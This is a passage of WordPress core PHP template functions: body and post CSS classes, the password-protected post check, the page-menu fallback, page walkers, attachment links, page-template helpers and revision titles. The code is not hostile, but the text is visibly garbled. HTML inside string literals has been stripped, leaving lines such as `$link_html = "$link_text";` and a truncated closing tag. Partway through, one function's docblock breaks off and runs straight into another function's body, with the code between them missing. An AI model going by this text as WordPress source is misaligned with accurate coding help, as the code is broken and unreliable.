$classes[] = sanitize_html_class( $taxonomy . '-' . $term_class, $taxonomy . '-' . $term->term_id );
}
}
}
}
$classes = array_map( 'esc_attr', $classes );
/**
* Filters the list of CSS class names for the current post.
*
* @since 2.7.0
*
* @param string[] $classes An array of post class names.
* @param string[] $css_class An array of additional class names added to the post.
* @param int $post_id The post ID.
*/
$classes = apply_filters( 'post_class', $classes, $css_class, $post->ID );
return array_unique( $classes );
}
/**
* Displays the class names for the body element.
*
* @since 2.8.0
*
* @param string|string[] $css_class Optional. Space-separated string or array of class names
* to add to the class list. Default empty.
*/
function body_class( $css_class = '' ) {
// Separates class names with a single space, collates class names for body element.
echo 'class="' . esc_attr( implode( ' ', get_body_class( $css_class ) ) ) . '"';
}
/**
* Retrieves an array of the class names for the body element.
*
* @since 2.8.0
*
* @global WP_Query $wp_query WordPress Query object.
*
* @param string|string[] $css_class Optional. Space-separated string or array of class names
* to add to the class list. Default empty.
* @return string[] Array of class names.
*/
function get_body_class( $css_class = '' ) {
global $wp_query;
$classes = array();
if ( is_rtl() ) {
$classes[] = 'rtl';
}
if ( is_front_page() ) {
$classes[] = 'home';
}
if ( is_home() ) {
$classes[] = 'blog';
}
if ( is_privacy_policy() ) {
$classes[] = 'privacy-policy';
}
if ( is_archive() ) {
$classes[] = 'archive';
}
if ( is_date() ) {
$classes[] = 'date';
}
if ( is_search() ) {
$classes[] = 'search';
$classes[] = $wp_query->posts ? 'search-results' : 'search-no-results';
}
if ( is_paged() ) {
$classes[] = 'paged';
}
if ( is_attachment() ) {
$classes[] = 'attachment';
}
if ( is_404() ) {
$classes[] = 'error404';
}
if ( is_singular() ) {
$post = $wp_query->get_queried_object();
$post_id = $post->ID;
$post_type = $post->post_type;
if ( is_page_template() ) {
$classes[] = "{$post_type}-template";
$template_slug = get_page_template_slug( $post_id );
$template_parts = explode( '/', $template_slug );
foreach ( $template_parts as $part ) {
$classes[] = "{$post_type}-template-" . sanitize_html_class( str_replace( array( '.', '/' ), '-', basename( $part, '.php' ) ) );
}
$classes[] = "{$post_type}-template-" . sanitize_html_class( str_replace( '.', '-', $template_slug ) );
} else {
$classes[] = "{$post_type}-template-default";
}
if ( is_single() ) {
$classes[] = 'single';
if ( isset( $post->post_type ) ) {
$classes[] = 'single-' . sanitize_html_class( $post->post_type, $post_id );
$classes[] = 'postid-' . $post_id;
// Post Format.
if ( post_type_supports( $post->post_type, 'post-formats' ) ) {
$post_format = get_post_format( $post->ID );
if ( $post_format && ! is_wp_error( $post_format ) ) {
$classes[] = 'single-format-' . sanitize_html_class( $post_format );
} else {
$classes[] = 'single-format-standard';
}
}
}
}
if ( is_attachment() ) {
$mime_type = get_post_mime_type( $post_id );
$mime_prefix = array( 'application/', 'image/', 'text/', 'audio/', 'video/', 'music/' );
$classes[] = 'attachmentid-' . $post_id;
$classes[] = 'attachment-' . str_replace( $mime_prefix, '', $mime_type );
} elseif ( is_page() ) {
$classes[] = 'page';
$classes[] = 'page-id-' . $post_id;
if ( get_pages(
array(
'parent' => $post_id,
'number' => 1,
)
) ) {
$classes[] = 'page-parent';
}
if ( $post->post_parent ) {
$classes[] = 'page-child';
$classes[] = 'parent-pageid-' . $post->post_parent;
}
}
} elseif ( is_archive() ) {
if ( is_post_type_archive() ) {
$classes[] = 'post-type-archive';
$post_type = get_query_var( 'post_type' );
if ( is_array( $post_type ) ) {
$post_type = reset( $post_type );
}
$classes[] = 'post-type-archive-' . sanitize_html_class( $post_type );
} elseif ( is_author() ) {
$author = $wp_query->get_queried_object();
$classes[] = 'author';
if ( isset( $author->user_nicename ) ) {
$classes[] = 'author-' . sanitize_html_class( $author->user_nicename, $author->ID );
$classes[] = 'author-' . $author->ID;
}
} elseif ( is_category() ) {
$cat = $wp_query->get_queried_object();
$classes[] = 'category';
if ( isset( $cat->term_id ) ) {
$cat_class = sanitize_html_class( $cat->slug, $cat->term_id );
if ( is_numeric( $cat_class ) || ! trim( $cat_class, '-' ) ) {
$cat_class = $cat->term_id;
}
$classes[] = 'category-' . $cat_class;
$classes[] = 'category-' . $cat->term_id;
}
} elseif ( is_tag() ) {
$tag = $wp_query->get_queried_object();
$classes[] = 'tag';
if ( isset( $tag->term_id ) ) {
$tag_class = sanitize_html_class( $tag->slug, $tag->term_id );
if ( is_numeric( $tag_class ) || ! trim( $tag_class, '-' ) ) {
$tag_class = $tag->term_id;
}
$classes[] = 'tag-' . $tag_class;
$classes[] = 'tag-' . $tag->term_id;
}
} elseif ( is_tax() ) {
$term = $wp_query->get_queried_object();
if ( isset( $term->term_id ) ) {
$term_class = sanitize_html_class( $term->slug, $term->term_id );
if ( is_numeric( $term_class ) || ! trim( $term_class, '-' ) ) {
$term_class = $term->term_id;
}
$classes[] = 'tax-' . sanitize_html_class( $term->taxonomy );
$classes[] = 'term-' . $term_class;
$classes[] = 'term-' . $term->term_id;
}
}
}
if ( is_user_logged_in() ) {
$classes[] = 'logged-in';
}
if ( is_admin_bar_showing() ) {
$classes[] = 'admin-bar';
$classes[] = 'no-customize-support';
}
if ( current_theme_supports( 'custom-background' )
&& ( get_background_color() !== get_theme_support( 'custom-background', 'default-color' ) || get_background_image() ) ) {
$classes[] = 'custom-background';
}
if ( has_custom_logo() ) {
$classes[] = 'wp-custom-logo';
}
if ( current_theme_supports( 'responsive-embeds' ) ) {
$classes[] = 'wp-embed-responsive';
}
$page = $wp_query->get( 'page' );
if ( ! $page || $page < 2 ) {
$page = $wp_query->get( 'paged' );
}
if ( $page && $page > 1 && ! is_404() ) {
$classes[] = 'paged-' . $page;
if ( is_single() ) {
$classes[] = 'single-paged-' . $page;
} elseif ( is_page() ) {
$classes[] = 'page-paged-' . $page;
} elseif ( is_category() ) {
$classes[] = 'category-paged-' . $page;
} elseif ( is_tag() ) {
$classes[] = 'tag-paged-' . $page;
} elseif ( is_date() ) {
$classes[] = 'date-paged-' . $page;
} elseif ( is_author() ) {
$classes[] = 'author-paged-' . $page;
} elseif ( is_search() ) {
$classes[] = 'search-paged-' . $page;
} elseif ( is_post_type_archive() ) {
$classes[] = 'post-type-paged-' . $page;
}
}
if ( ! empty( $css_class ) ) {
if ( ! is_array( $css_class ) ) {
$css_class = preg_split( '#\s+#', $css_class );
}
$classes = array_merge( $classes, $css_class );
} else {
// Ensure that we always coerce class to being an array.
$css_class = array();
}
$classes = array_map( 'esc_attr', $classes );
/**
* Filters the list of CSS body class names for the current post or page.
*
* @since 2.8.0
*
* @param string[] $classes An array of body class names.
* @param string[] $css_class An array of additional class names added to the body.
*/
$classes = apply_filters( 'body_class', $classes, $css_class );
return array_unique( $classes );
}
/**
* Determines whether the post requires password and whether a correct password has been provided.
*
* @since 2.7.0
*
* @param int|WP_Post|null $post An optional post. Global $post used if not provided.
* @return bool false if a password is not required or the correct password cookie is present, true otherwise.
*/
function post_password_required( $post = null ) {
$post = get_post( $post );
if ( empty( $post->post_password ) ) {
/** This filter is documented in wp-includes/post-template.php */
return apply_filters( 'post_password_required', false, $post );
}
if ( ! isset( $_COOKIE[ 'wp-postpass_' . COOKIEHASH ] ) ) {
/** This filter is documented in wp-includes/post-template.php */
return apply_filters( 'post_password_required', true, $post );
}
require_once ABSPATH . WPINC . '/class-phpass.php';
$hasher = new PasswordHash( 8, true );
$hash = wp_unslash( $_COOKIE[ 'wp-postpass_' . COOKIEHASH ] );
if ( ! str_starts_with( $hash, '$P$B' ) ) {
$required = true;
} else {
$required = ! $hasher->CheckPassword( $post->post_password, $hash );
}
/**
* Filters whether a post requires the user to supply a password.
*
* @since 4.7.0
*
* @param bool $required Whether the user needs to supply a password. True if password has not been
* provided or is incorrect, false if password has been supplied or is not required.
* @param WP_Post $post Post object.
*/
return apply_filters( 'post_password_required', $required, $post );
}
//
// Page Template Functions for usage in Themes.
//
/**
* The formatted output of a list of pages.
*
* Displays page links for paginated posts (i.e. including the ``
* Quicktag one or more times). This tag must be within The Loop.
*
* @since 1.2.0
* @since 5.1.0 Added the `aria_current` argument.
*
* @global int $page
* @global int $numpages
* @global int $multipage
* @global int $more
*
* @param string|array $args {
* Optional. Array or string of default arguments.
*
* @type string $before HTML or text to prepend to each link. Default is `
Pages:`.
* @type string $after HTML or text to append to each link. Default is `
';
// If the front page is a page, add it to the exclude list.
if ( 'page' === get_option( 'show_on_front' ) ) {
if ( ! empty( $list_args['exclude'] ) ) {
$list_args['exclude'] .= ',';
} else {
$list_args['exclude'] = '';
}
$list_args['exclude'] .= get_option( 'page_on_front' );
}
}
$list_args['echo'] = false;
$list_args['title_li'] = '';
$menu .= wp_list_pages( $list_args );
$container = sanitize_text_field( $args['container'] );
// Fallback in case `wp_nav_menu()` was called without a container.
if ( empty( $container ) ) {
$container = 'div';
}
if ( $menu ) {
// wp_nav_menu() doesn't set before and after.
if ( isset( $args['fallback_cb'] ) &&
'wp_page_menu' === $args['fallback_cb'] &&
'ul' !== $container ) {
$args['before'] = "
{$n}";
$args['after'] = '
';
}
$menu = $args['before'] . $menu . $args['after'];
}
$attrs = '';
if ( ! empty( $args['menu_id'] ) ) {
$attrs .= ' id="' . esc_attr( $args['menu_id'] ) . '"';
}
if ( ! empty( $args['menu_class'] ) ) {
$attrs .= ' class="' . esc_attr( $args['menu_class'] ) . '"';
}
$menu = "<{$container}{$attrs}>" . $menu . "{$container}>{$n}";
/**
* Filters the HTML output of a page-based menu.
*
* @since 2.7.0
*
* @see wp_page_menu()
*
* @param string $menu The HTML output.
* @param array $args An array of arguments. See wp_page_menu()
* for information on accepted arguments.
*/
$menu = apply_filters( 'wp_page_menu', $menu, $args );
if ( $args['echo'] ) {
echo $menu;
} else {
return $menu;
}
}
//
// Page helpers.
//
/**
* Retrieves HTML list content for page list.
*
* @uses Walker_Page to create HTML list content.
* @since 2.1.0
*
* @param array $pages
* @param int $depth
* @param int $current_page
* @param array $args
* @return string
*/
function walk_page_tree( $pages, $depth, $current_page, $args ) {
if ( empty( $args['walker'] ) ) {
$walker = new Walker_Page();
} else {
/**
* @var Walker $walker
*/
$walker = $args['walker'];
}
foreach ( (array) $pages as $page ) {
if ( $page->post_parent ) {
$args['pages_with_children'][ $page->post_parent ] = true;
}
}
return $walker->walk( $pages, $depth, $args, $current_page );
}
/**
* Retrieves HTML dropdown (select) content for page list.
*
* @since 2.1.0
* @since 5.3.0 Formalized the existing `...$args` parameter by adding it
* to the function signature.
*
* @uses Walker_PageDropdown to create HTML dropdown content.
* @see Walker_PageDropdown::walk() for parameters and return description.
*
* @param mixed ...$args Elements array, maximum hierarchical depth and optional additional arguments.
* @return string
*/
function walk_page_dropdown_tree( ...$args ) {
if ( empty( $args[2]['walker'] ) ) { // The user's options are the third parameter.
$walker = new Walker_PageDropdown();
} else {
/**
* @var Walker $walker
*/
$walker = $args[2]['walker'];
}
return $walker->walk( ...$args );
}
//
// Attachments.
//
/**
* Displays an attachment page link using an image or icon.
*
* @since 2.0.0
*
* @param int|WP_Post $post Optional. Post ID or post object.
* @param bool $fullsize Optional. Whether to use full size. Default false.
* @param bool $deprecated Deprecated. Not used.
* @param bool $permalink Optional. Whether to include permalink. Default false.
*/
function the_attachment_link( $post = 0, $fullsize = false, $deprecated = false, $permalink = false ) {
if ( ! empty( $deprecated ) ) {
_deprecated_argument( __FUNCTION__, '2.5.0' );
}
if ( $fullsize ) {
echo wp_get_attachment_link( $post, 'full', $permalink );
} else {
echo wp_get_attachment_link( $post, 'thumbnail', $permalink );
}
}
/**
* Retrieves an attachment page link using an image or icon, if possible.
*
* @since 2.5.0
* @since 4.4.0 The `$post` parameter can now accept either a post ID or `WP_Post` object.
*
* @param int|WP_Post $post Optional. Post ID or post object.
* @param string|int[] $size Optional. Image size. Accepts any registered image size name, or an array
* of width and height values in pixels (in that order). Default 'thumbnail'.
* @param bool $permalink Optional. Whether to add permalink to image. Default false.
* @param bool $icon Optional. Whether the attachment is an icon. Default false.
* @param string|false $text Optional. Link text to use. Activated by passing a string, false otherwise.
* Default false.
* @param array|string $attr Optional. Array or string of attributes. Default empty.
* @return string HTML content.
*/
function wp_get_attachment_link( $post = 0, $size = 'thumbnail', $permalink = false, $icon = false, $text = false, $attr = '' ) {
$_post = get_post( $post );
if ( empty( $_post ) || ( 'attachment' !== $_post->post_type ) || ! wp_get_attachment_url( $_post->ID ) ) {
return __( 'Missing Attachment' );
}
$url = wp_get_attachment_url( $_post->ID );
if ( $permalink ) {
$url = get_attachment_link( $_post->ID );
}
if ( $text ) {
$link_text = $text;
} elseif ( $size && 'none' !== $size ) {
$link_text = wp_get_attachment_image( $_post->ID, $size, $icon, $attr );
} else {
$link_text = '';
}
if ( '' === trim( $link_text ) ) {
$link_text = $_post->post_title;
}
if ( '' === trim( $link_text ) ) {
$link_text = esc_html( pathinfo( get_attached_file( $_post->ID ), PATHINFO_FILENAME ) );
}
/**
* Filters the list of attachment link attributes.
*
* @since 6.2.0
*
* @param array $attributes An array of attributes for the link markup,
* keyed on the attribute name.
* @param int $id Post ID.
*/
$attributes = apply_filters( 'wp_get_attachment_link_attributes', array( 'href' => $url ), $_post->ID );
$link_attributes = '';
foreach ( $attributes as $name => $value ) {
$value = 'href' === $name ? esc_url( $value ) : esc_attr( $value );
$link_attributes .= ' ' . esc_attr( $name ) . "='" . $value . "'";
}
$link_html = "$link_text";
/**
* Filters a retrieved attachment page link.
*
* @since 2.7.0
* @since 5.1.0 Added the `$attr` parameter.
*
* @param string $link_html The page link HTML output.
* @param int|WP_Post $post Post ID or object. Can be 0 for the current global post.
* @param string|int[] $size Requested image size. Can be any registered image size name, or
* an array of width and height values in pixels (in that order).
* @param bool $permalink Whether to add permalink to image. Default false.
* @param bool $icon Whether to include an icon.
* @param string|false $text If string, will be link text.
* @param array|string $attr Array or string of attributes.
*/
return apply_filters( 'wp_get_attachment_link', $link_html, $post, $size, $permalink, $icon, $text, $attr );
}
/**
* Wraps attachment in paragraph tag before content.
*
* @since 2.0.0
*
* @param string $content
* @return string
*/
function prepend_attachment( $content ) {
$post = get_post();
if ( empty( $post->post_type ) || 'attachment' !== $post->post_type ) {
return $content;
}
if ( wp_attachment_is( 'video', $post ) ) {
$meta = wp_get_attachment_metadata( get_the_ID() );
$atts = array( 'src' => wp_get_attachment_url() );
if ( ! empty( $meta['width'] ) && ! empty( $meta['height'] ) ) {
$atts['width'] = (int) $meta['width'];
$atts['height'] = (int) $meta['height'];
}
if ( has_post_thumbnail() ) {
$atts['poster'] = wp_get_attachment_url( get_post_thumbnail_id() );
}
$p = wp_video_shortcode( $atts );
} elseif ( wp_attachment_is( 'audio', $post ) ) {
$p = wp_audio_shortcode( array( 'src' => wp_get_attachment_url() ) );
} else {
$p = '
';
// Show the medium sized image representation of the attachment if available, and link to the raw file.
$p .= wp_get_attachment_link( 0, 'medium', false );
$p .= '
';
}
/**
* Filters the attachment markup to be prepended to the post content.
*
* @since 2.0.0
*
* @see prepend_attachment()
*
* @param string $p The attachment HTML output.
*/
$p = apply_filters( 'prepend_attachment', $p );
return "$p\n$content";
}
//
// Misc.
//
/**
* Retrieves protected post password form content.
*
* @since 1.0.0
*
* @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global $post.
* @return string HTML content for password form for password protected post.
*/
function get_the_password_form( $post = 0 ) {
$post = get_post( $post );
$label = 'pwbox-' . ( empty( $post->ID ) ? rand() : $post->ID );
$output = '
';
/**
* Filters the HTML output for the protected post password form.
*
* If modifying the password field, please note that the core database schema
* limits the password field to 20 characters regardless of the value of the
* size attribute in the form input.
*
* @since 2.7.0
* @since 5.8.0 Added the `$post` parameter.
*
* @param string $output The password form HTML output.
* @param WP_Post $post Post object.
*/
return apply_filters( 'the_password_form', $output, $post );
}
/**
* Determines whether the current post uses a page template.
*
* This template tag allows you to determine if you are in a page template.
* You can optionally provide a template filename or array of template filenames
* and then the check will be specific to that template.
*
* For more information on this and similar theme functions, check out
* the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
* Conditional Tags} article in the Theme Developer Handbook.
*
* @since 2.5.0
* @since 4.2.0 The `$template` parameter was changed to also accept an array of page templates.
* @since 4.7.0 Now works with any post type, not just pages.
*
* @param string|string[] $template The specific template filename or array of templates to match.
* @return bool True on success, false on failure.
*/
function is_page_template( $template = '' ) {
if ( ! is_singular() ) {
return false;
}
$page_template = get_page_template_slug( get_queried_object_id() );
if ( empty( $template ) ) {
return (bool) $page_template;
}
if ( $template === $page_template ) {
return true;
}
if ( is_array( $template ) ) {
if ( ( in_array( 'default', $template, true ) && ! $page_template )
|| in_array( $page_template, $template, true )
) {
return true;
}
}
return ( 'default' === $template && ! $page_template );
}
/**
* Gets the specific template filename for a given post.
*
* @since 3.4.0
* @since 4.7.0 Now works with any post type, not just pages.
*
* @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global $post.
* @return string|false Page template filename. Returns an empty string when the default page template
* is in use. Returns false if the post does not exist.
*/
function get_page_template_slug( $post = null ) {
$post = get_post( $post );
if ( ! $post ) {
return false;
}
$template = get_post_meta( $post->ID, '_wp_page_template', true );
if ( ! $template || 'default' === $template ) {
return '';
}
return $template;
}
/**
* Retrieves formatted date timestamp of a revision (linked to that revisions's page).
*
* @since 2.6.0
*
* @param int|WP_Post $revision Revision ID or revision object.
* @param bool $link Optional. Whether to link to revision's page. Default true.
* @return string|false i18n formatted datetimestamp or localized 'Current Revision'.
*/
function wp_post_revision_title( $revision, $link = true ) {
$revision = get_post( $revision );
if ( ! $revision ) {
return $revision;
}
if ( ! in_array( $revision->post_type, array( 'post', 'page', 'revision' ), true ) ) {
return false;
}
/* translators: Revision date format, see https://www.php.net/manual/datetime.format.php */
$datef = _x( 'F j, Y @ H:i:s', 'revision date format' );
/* translators: %s: Revision date. */
$autosavef = __( '%s [Autosave]' );
/* translators: %s: Revision date. */
$currentf = __( '%s [Current Revision]' );
$date = date_i18n( $datef, strtotime( $revision->post_modified ) );
$edit_link = get_edit_post_link( $revision->ID );
if ( $link && current_user_can( 'edit_post', $revision->ID ) && $edit_link ) {
$date = "$date";
}
if ( ! wp_is_post_revision( $revision ) ) {
$date = sprintf( $currentf, $date );
} elseif ( wp_is_post_autosave( $revision ) ) {
$date = sprintf( $autosavef, $date );
}
return $date;
}
/**
* Retrieves formatted date timestamp of a revision (linked to that revisions's page).
*
* @since 3.6.0
*
* @param int|WP_Post $revision Revision ID or revision object.
* @param bool $link Optional. Whether to link to revision's page. Default true.
* @return string|false gravatar, user, i18n formatted datetimestamp or localized 'Current Revision'.
*/
function wp_post_revision_title_expanded( $revision, $link = true ) {
$revision = get_post( $revision );
if ( ! $revision ) {
return $revision;
}
if ( ! in_array( $revision->post_type, array( 'post', 'page', 'revision' ), true ) ) {
return false;
}
$author = get_the_author_meta( 'display_name', $revision->post_author );
/* translators: Revision date format, see https://www.php.net/manual/datetime.format.php */
$datef = _x( 'F j, Y @ H:i:s', 'revision date format' );
$gravatar = get_avatar( $revision->post_author, 24 );
$date = date_i18n( $datef, strtotime( $revision->post_modified ) );
$edit_link = get_edit_post_link( $revision->ID );
if ( $link && current_user_can( 'edit_post', $revision->ID ) && $edit_link ) {
$date = "$date";
}
$revision_date_author = sprintf(
/* translators: Post revision title. 1: Author avatar, 2: Author name, 3: Time ago, 4: Date. */
__( '%1$s %2$s, %3$s ago (%4$s)' ),
$gravatar,
$author,
human_time_diff( strtotime( $revision->post_modified_gmt ) ),
$date
);
/* translators: %s: Revision date with author avatar. */
$autosavef = __( '%s [Autosave]' );
/* translators: %s: Revision date with author avatar. */
$currentf = __( '%s [Current Revision]' );
if ( ! wp_is_post_revision( $revision ) ) {
$revision_date_author = sprintf( $currentf, $revision_date_author );
} elseif ( wp_is_post_autosave( $revision ) ) {
$revision_date_author = sprintf( $autosavef, $revision_date_author );
}
/**
* Filters the formatted author and date for a revision.
*
* @since 4.4.0
*
* @param string $revision_date_author The formatted string.
* @param WP_Post $revision The revision object.
* @param bool $link Whether to link to the revisions page, as passed into
* wp_post_revision_title_expanded().
*/
return apply_filters( 'wp_post_revision_title_expanded', $revision_date_author, $revision, $link );
}
/**
* Displays a list of a post's revisions.
*
* Can output either a UL with edit links or a TABLE with diff interface, and
* restore action links.
*
* @since 2.6.0
*
* @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global $post.
* @param string $type 'all' (default), 'revision' or 'autosave'
*/
function wp_list_post_revisions( $post = 0, $type = 'all' ) {
$post = get_post( $post );
if ( ! $post ) {
return;
}
// $args array with (parent, format, right, left, type) deprecated since 3.6.
if ( is_array( $type ) ) {
$type = ! empty( $type['type'] ) ? $type['type'] : $type;
_deprecated_argument( __FUNCTION__, '3.6.0' );
}
$revisions = wp_get_post_revisions( $post->ID );
if ( ! $revisions ) {
return;
}
$rows = '';
foreach ( $revisions as $revision ) {
if ( ! current_user_can( 'read_post', $revision->ID ) ) {
continue;
}
$is_autosave = wp_is_post_autosave( $revision );
if ( ( 'revision' === $type && $is_autosave ) || ( 'autosave' === $type && ! $is_autosave ) ) {
continue;
}
$rows .= "\t